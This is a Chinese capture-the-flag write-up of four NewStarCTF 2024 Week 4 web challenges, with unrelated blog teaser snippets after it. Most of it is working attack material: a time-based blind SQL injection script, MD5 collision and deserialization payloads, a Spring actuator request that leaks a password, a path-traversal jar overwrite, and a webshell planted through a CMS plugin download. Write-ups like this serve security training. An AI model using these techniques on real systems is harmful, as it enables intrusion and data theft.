NewStarCTF2024-Week4-Web-WP
目录
1、blindsql2
2、chocolate
3、隐藏的密码
4、ezcmsss
题目对勇师傅来说已经是开始上难度了所以这周没有AK
分享下自己做出来的题的解题思路
1、blindsql2
原本是在继续构造新的 payload,也测到了延时
打算去改上周的脚本,结果去跑的时候忘了将上次的最后 payload 注释,直接就上周的脚本就跑出来 flag 了,week3 应该是打算考布尔盲注,week4 是时间盲注,所以直接就都打通了。
exp:
# @author:Myon
# @time:20241015
import requests
import string
import time
url = 'http://eci-2ze6n37avcrdqdbhno0a.cloudeci1.ichunqiu.com/'
dic = string.ascii_lowercase + string.digits + '{}-_'
out = ''
for j in range(1, 100):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"student_name=0'or%09if(database()%09like%09%27{out+k}%25%27,sleep(1),0)and%271" # 猜数据库名# print(payload)# payload = f"student_name=0'or%09||if((select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09'flag'limit%092,1)like'{out+k}%25',sleep(1),0)and%271"# payload = f"student_name=Alice%27||if((select%09column_name%09from%09information_schema.columns%09where%09table_schema%09like%09'ctf'and%09table_name%09like'secrets'limit%091,1)like'{out+k}%25',sleep(1),0)and%271"payload = f"student_name=Alice%27||if((select%09secret_value%09from%09ctf.secrets%09limit%092,1)like%09'{out+k}%25',sleep(1),0)and%271"re = requests.get(url, params=payload)# print(re.status_code)t = re.elapsed.total_seconds()# print(f"{j}:{time}")if t > 1.5:print(k)a = 0 #如果找到字符,则将标志位置0out += kprint(out)time.sleep(1)break #跳出内层的for循环,继续遍历下一位# if a == 1: #在进行下一次循环前,先判断当前字符是否找到# break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)
2、chocolate
目录扫描扫到了个 source.php,访问看不到内容
随便输一些东西测到了一个提示:
访问,然后绕过一下:
0ldStar.php?num=+02471
拿到:
可可液块 (g): 1337033 // gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到
让我们解密这个,扔到随波逐流发现是个文件名
继续访问 cocoaButter_star.php
第一个是 md5 强碰撞:
cocoaButter_star.php?cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
第二个传一个 0e 开头的 md5 加密后也是 0e 开头的即可实现相等,科学计数法都是 0
Payload:
moew=0e215962017
拿到:of course you konw// 可可脂 (g): 202409
最后一个是要求 md5 加密后前五位符合要求,一开始想到的是 md5 长度拓展攻击,发现不是,写个脚本爆破符合要求的字符即可:
import hashlibknowMd5 = '8031b' # 已知的md5前缀
dict = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' # 字符字典def md5(text):return hashlib.md5(str(text).encode('utf-8')).hexdigest() # 计算md5哈希值# 爆破过程
for i in dict:for j in dict:for k in dict:for l in dict:# 生成四个字符组合x = i + j + k + l# 计算md5codeMd5 = md5(x)# 如果md5前五个字符等于已知的8031bif codeMd5[:5] == knowMd5:print(f"符合要求的next_level值:{x}")break # 找到符合的组合后退出循环
比如我们传入 aNQa
拿到 of course you konw// 可可脂 (g): 202409// final.php
最后 final.php 是一个反序列化的利用,一开始还想绕过过滤的 chocolate,后面发现不需要绕过,并且 url 编码后传入不行,直接传序列化后的内容。
exp:
<?php
class chocolate{public $cat='???';public $kitty='???';public function __construct($u,$p){$this->cat=$u;$this->kitty=$p;}public function eatit(){return $this->cat===$this->kitty;}public function __toString(){return $this->cat;}public function __destruct(){global $darkCocoaPowder;echo $darkCocoaPowder;}
}$u = '111';
$p = '111';
$c = new chocolate($u,$p);
echo serialize($c);?>
让 $cat===$kitty 即可
Post传入:
O:9:"chocolate":2:{s:3:"cat";s:3:"111";s:5:"kitty";s:3:"111";}
拿到:黑可可粉 (g): 51540
最后还剩一个糖分,经过测试发现页面会有不同回显
确定范围是在 2000-2050 之间
Burpsuite 爆破一下:
拿到 flag:flag{d20ea743-bbae-4b75-a8e4-098c4ddecd5f}
3、隐藏的密码
目录扫描
/back.html
但是文件上传后访问不到,命令执行的是 ls
/actuator/env 接口下发现密码被******代替了
尝试获取星号的内容
Post:/actuator/jolokia
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty","type": "EXEC","arguments": ["caef11.passwd"]}
拿到密码:123456qWertAsdFgZxCvB!@#
登录,发现界面内容和前面目录扫描出来的 back.html 是一样的…
命令执行模块 fuzz 测试一下,存在一些字符的过滤,过滤字符如下:
!$&();<>[\]`{|}
可以看到异或和取反都是可以使用的
尝试命令执行,发现不行
文件能传上去但是访问不到
找到了JDK HOME 目录:
/usr/local/openjdk-8/jre/lib
确认一下,确实可以成功上传文件到这个位置:
../../usr/local/openjdk-8/jre/lib/charsets.jar
那么我们直接覆盖 charsets.jar
触发:
Accept: text/html;charset=GBK
确实可以利用
重新构造一个 jar 包,通过将 class 文件反编译拿到了 java 源码,这里主要是替换 IBM33722.class
修改后的源码如下:
package sun.nio.cs.ext;import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.UUID;public class IBM33722 {static {fun();}public IBM33722(){fun();}private static java.util.HashMap<String, String> fun(){String flagFilePath = "/flag";String fileName = readFlag(flagFilePath);if (fileName == null) {fileName = "failed";}String random = UUID.randomUUID().toString().replace("-", "").substring(1, 9);String tempFilePath = "/tmp/" + fileName + "_" + random + ".log";createTempFile(tempFilePath);return null;}private static String readFlag(String path) {StringBuilder content = new StringBuilder();try (BufferedReader reader = new BufferedReader(new FileReader(new File(path)))) {String line;while ((line = reader.readLine()) != null) {content.append(line);}} catch (IOException e) {return null;}return content.toString();}private static void createTempFile(String path) {try (FileWriter writer = new FileWriter(new File(path))) {writer.write(path);} catch (IOException e) {e.printStackTrace();}}
}
读取根目录下的 flag,将内容写到 /tmp 目录下的文件名(因为我们只能执行ls命令)
编译成 class 文件,整体打包成 jar 包,上传覆盖 charsets.jar
重启环境,上传新的 charsets.jar
覆盖掉后触发方式同上
查看 /tmp 目录
拿到 flag:flag{d3350ef4-3b91-40e6-9d6a-2f0c8d33193e}
4、ezcmsss
Start.sh里拿到账户密码:
admin_name=jizhicms1498&admin_pass=4oP4fB51r5
登录后台:admin.php
允许上传 php 文件
后端还做了检测
在前端随便注册一个账号
尝试上传但是没有分栏可选
在后台添加一下
还是不行,配置文件也传不了,估计这个漏洞已经修了
又看到另一个下载插件路径可控的,但是插件管理里面并没有看到可以下载插件的地方, 手动构造一下,但是似乎出不了网...
那就手动传一个一句话木马的 zip 到它的本地
从本地下载插件:
action=start-download&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip
解压:
action=file-upzip&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip&filesize=0
访问 /A/exts,看到我们传的压缩包被解压了,得到一句话木马
调用木马:
读取 flag
拿到 flag:flag{9bb4ad6c-68e7-44ed-badd-4614a81f7df7}
相关文章:
NewStarCTF2024-Week4-Web-WP
目录 1、blindsql2 2、chocolate 3、隐藏的密码 4、ezcmsss 题目对勇师傅来说已经是开始上难度了所以这周没有AK 分享下自己做出来的题的解题思路 1、blindsql2 原本是在继续构造新的 payload,也测到了延时 打算去改上周的脚本,结果去跑的时候忘了将…...
Java学习Day56:暴打舔狗!(SpringBoot)
1.springboot简介 核心能力:Spring容器、日志、自动配置AutoCongfiguration、Starters web应用的能力:MVC、嵌入式Web服务器 数据访问(持久化):关系型数据库、非关系型数据库 强大的整合其他技术的能力 只要是Java中牛逼的技术,…...
RSA加密算法实现
Java实现RSA加密算法示例,包括密钥对的生成、加密和解密过程。首先需要导入Java的加密库,这些功能主要通过java.security和javax.crypto包提供。先生成了一个RSA密钥对,包括一个公钥和一个私钥。然后使用公钥加密了一个字符串,并使用私钥解密了加密后的字符串。加密和解密的…...
大数据新视界 -- 大数据大厂之优化大数据计算框架 Tez 的实践指南
💖💖💖亲爱的朋友们,热烈欢迎你们来到 青云交的博客!能与你们在此邂逅,我满心欢喜,深感无比荣幸。在这个瞬息万变的时代,我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…...
java 中 List<T> 类型数据在 postgreSql 数据库中存储
一 属性添加注解 在类上面添加注解: TableName(autoResultMap true) 在字段上面添加注解: TableField(value "list", typeHandler UserHandler.class) private List<User> list new ArrayList<>(); 二 创建 UserHandler 类…...
公共命名空间,2024年10月的笔记
首先,我国选择C做为竞赛语言,许多人学C,学习的结果是:看到“公共命名空间”,就幻想出一个私有命名空间,其实,公共命名空间和C的命名空间无关! 超简源代码 已知序列v{1,2,3,4,5}&…...
frida脚本,自动化寻址JNI方法
版权归作者所有,如有转发,请注明文章出处:https://cyrus-studio.github.io/blog/ 1. 通过 ArtMethod 结构体找到 jni 方法在内存中的地址,并把寻址方法通过 rpc.exports 暴露给 Python 脚本调用 jni_addr.js let entry_point_fr…...
MySQL中between and的基本用法
文章目录 一、between and语法二、使用示例2.1、between and数值查询2.2、between and时间范围查询2.3、not between and示例 BETWEEN AND操作符可以用于数值、日期等类型的字段,包括边界值。 一、between and语法 MySQL中的BETWEEN AND操作符用于在两个值之间选择…...
Ceph 存储系统全解
1. 引言 什么是 Ceph? Ceph 是一个开源的分布式存储系统,旨在提供高性能、可扩展、无单点故障的统一存储平台。它可以同时支持对象存储、块存储和文件系统存储,能够满足不同存储需求的多种应用场景。Ceph 通过其强大的 RADOS(可…...
C# ftp帮助类 项目实战优化版
上位机开发中有时要与客户的文件服务器进行数据交互。如Mapping文件下载。结果文件上传等。我在项目中就常用到。现在把项目实战代码进行分享一下。 功能列表:连接服务器,下载文件,上传文件,删除服务器文件,获取当前目…...
栈和队列相关|有效的括号|用队列实现栈|用栈实现队列|设计循环队列(C)
20. 有效的括号 判断左右括号是否匹配,匹配返回true,不匹配返回false 通过栈来实现,类型和顺序,数量都要匹配 控制数量通过size 每个右括号都要找最近的左括号去判断类型匹配不匹配,顺序匹配不匹配 最后来判断数量匹配…...
云原生后端开发教程
云原生后端开发教程 引言 随着云计算的普及,云原生架构逐渐成为现代软件开发的主流。云原生不仅仅是将应用部署到云上,而是一种构建和运行应用的方式,充分利用云计算的弹性和灵活性。本文将深入探讨云原生后端开发的核心概念、工具和实践&a…...
TortoiseSVN小乌龟下载安装(Windows11)
目录 TortoiseSVN 1.14.7工具下载安装 TortoiseSVN 1.14.7 工具 系统:Windows 11 下载 官网:https://tortoisesvn.subversion.org.cn/downloads.html如图选 TortoiseSVN 1.14.7 - 64 位 下载完成 安装 打开 next,next Browse…...
Android adb命令获取设备id
Android adb命令获取设备id 方式很多,以下均可获得Android device id: adb shell settings get secure android_id adb shell settings get secure android_id adb devices -l adb shell content query --uri content://settings/secure --where "…...
Skywalking教程一
Skywalking教程一 概述Skywalking功能特点: 概述 一个大型分布式系统架构,监控平台是必不可少的,常用的分布式系统监控平台有:SkyWalking和Prometheus。Skywalking是一款比较优秀的分布式系统监控平台,一款分布式系统…...
React中管理state的方式
使用useState 使用useReducer 既然已经有了useState,为什么还需要useReducer呢? 那么useReducer是如何将解决这些问题的呢? reducer是如何更新state的呢? reducer的工作方式非常类似JavaScript中的reduce方法,随着时…...
服务器数据恢复—RAID5阵列中部分成员盘重组RAID5阵列后如何恢复原raid5阵列数据?
服务器数据恢复环境: 一台服务器挂接一台存储,该存储中有一组由5块硬盘组建的RAID5阵列。 服务器故障: 存储raid5阵列中有一块硬盘掉线。由于RAID5的特性,阵列并没有出现问题。工作一段时间后,服务器出现故障ÿ…...
【Linux】文件切割排序 cut sort
文章目录 Linux文件切割命令:cut1. cut命令的基本用法2. cut命令的选项和参数3. cut命令的实际应用案例 Linux文件排序命令:sort1. sort命令的基本用法2. sort命令的选项和参数3. sort命令的实际应用案例 常见问题和解决方案1. cut和sort命令的联合使用2…...
零售EDI:HornBach EDI 项目案例
HornBach 是一家总部位于德国的家居和建筑材料零售商,成立于1968年。它以大型仓储式商店而闻名,提供广泛的产品,包括建筑材料、园艺、家居装饰和工具等。 近期我们帮助HornBach的供应商W公司成功实现了与HornBach的EDI直连,除了满…...
SpringBoot 集成RabbitMQ 实现钉钉日报定时发送功能
文章目录 一、RabbitMq 下载安装二、开发步骤:1.MAVEN 配置2. RabbitMqConfig 配置3. RabbitMqUtil 工具类4. DailyDelaySendConsumer 消费者监听5. 测试延迟发送 一、RabbitMq 下载安装 官网:https://www.rabbitmq.com/docs 二、开发步骤:…...
基于java ssm springboot女士电商平台系统源码+文档设计
基于java ssm springboot女士电商平台系统源码文档设计 🍅 作者主页 网顺技术团队 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 🍅 文末获取源码联系方式 📝 🍅 查看下方微信号获取联系方式 承接各种定制系统…...
Matlab数字信号处理——基于改进小波变换的图像去噪方法(7种去噪算法)
1.基于小波变换的阈值收缩法去噪 该方法利用小波变换分离出信号中的噪声成分,并通过设置合适的阈值对小波系数进行收缩,保留主要信息的同时,去除噪声。 %基于小波变换的阈值收缩法去噪算法 clear clc Iimread(nana.png); X im2double(I); …...
leetcode hot100【LeetCode 70. 爬楼梯】java实现
LeetCode 70. 爬楼梯 题目描述 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢? 注意: 给定 n 是一个正整数。 示例 1: 输入:n 2 输出:2 解释&…...
Java异常2
异常抛出的两种形式: 系统隐式抛出;int n10/0;—隐式抛出一个异常;手动抛出异常:throw new Exception(); import java.util.InputMismatchException; import java.util.Scanner;public class Main {public static void main(Str…...
2024熵密杯初始题2
问题简要: 已知 counter 0x7501E6EA token 0xF4CE927C79B616E8E8F7223828794EEDF9B16591AE572172572D51E135E0D21A 伪造出另一个可以通过验证的counter和token。 给出token生成及验证代码如下: import binascii from gmssl import sm3# 读取HMAC ke…...
echarts属性之title
title 标题组件,包含主标题和副标题。 在 ECharts 2.x 中单个 ECharts 实例最多只能拥有一个标题组件。但是在 ECharts 3 中可以存在任意多个标题组件,这在需要标题进行排版,或者单个实例中的多个图表都需要标题时会比较有用。 例如下面不…...
VUE errolog, vue 错误集
I) installation As to command “npm install” on cmd or powershell, we must execute it under the program folder...
驱动开发系列13 - Linux tasklet用法介绍
一:概述 Tasklet 是 Linux 内核中的一种轻量级任务调度机制,通常用于在中断上下文中执行短小的任务。它们在软中断处理过程中被调用,允许将较长的处理工作延后到一个较低优先级的上下文中,以减少中断处理的延迟。Tasklet 的使用可以帮助开发者更好地管理系统资源,提高性能…...
redis实现分布式锁,go实现完整code
Redis分布式锁 Redis 分布式锁是一种使用 Redis 数据库实现分布式锁的方式,可以保证在分布式环境中同一时间只有一个实例可以访问共享资源。 实现机制 以下是实现其加锁步骤: 获取锁 在 Redis 中,一个相同的key代表一把锁。是否拥有这把锁&…...
解析日期、编码
解析日期 这里指的是将字符串或者object类型的日期,转换成panda或python的日期类型。 主要的是dtype的变化:object / str —> datetime64[ns] # modules well use import pandas as pd import numpy as np import seaborn as sns import datetime# …...
吉林省建设工程造价网站/推广方案如何写
前驱节点(predecessor) 前驱节点:中序遍历时的前一个节点。如果是二叉搜索树,前驱节点就是前一个比它小的节点。 node.left ! null 举例:6、13、8predecessor node.left.right.right.right...,终止条件&a…...
科技通信网站模板下载/安卓优化大师最新版下载
文章目录一、接收告警二、查看监控定位进程三、查看线程占用资源情况3.1、查看线程占用堆栈信息四、查看堆内存对象分布五、MAT分析内存情况一、接收告警 根据内存使用率监控,我们如果超过85(经验值)是需要报警的。 那么日常异常情况如何报警…...
沈阳软件公司 网站制作/推广产品的软文
假如有jsp页面要实现一个列表信息,格式如下: 第1条信息 第2条信息 第3条信息 第4条信息 第5条信息 第6条信息 第7条信息 第8条信息 ..... 搜索过别的方法,很多人运用jsp代码写入页面来进行循环判断。其实用struts2自带的标签可以实现同样效果…...
wordpress微博登录注册/杭州seo网站推广排名
Python:3.7.1 Jupyter Notebook:6.3.0 Jupyter Notebook中将ipynb文件转为py文件前言一、将.ipynb文件转为.py文件1.命令行2.Jupyter Notebook页面上二、将.py文件转为.ipynb文件 (Jupyter Notebook加载.py文件)前言 Jupyter Notebook中属于网络页面交互…...
北京都有那些做网站的公司/营销方式和渠道有哪些
当指针地址相加减时 只可减不可加如 &p11000 &p21008 &p1-&p22 可以在实参为数组 而形参为指针 相反也可以 都是传递了地址 在数组赋值时 不能用 a【20】“awsdfsa”而需要使用 strcpy(a【20】,“sadfasdf”); 可…...
贸易公司网站建/市场推广方案怎么写
因为公司项目需要使用消息中间件,实现相关业务的异步处理,所有选用了rabbitmq.通过看文档,爬过一个一个坑,终于还是实现了相关功能。 直接上配置文件: <?xml version"1.0" encoding"UTF-8"?&…...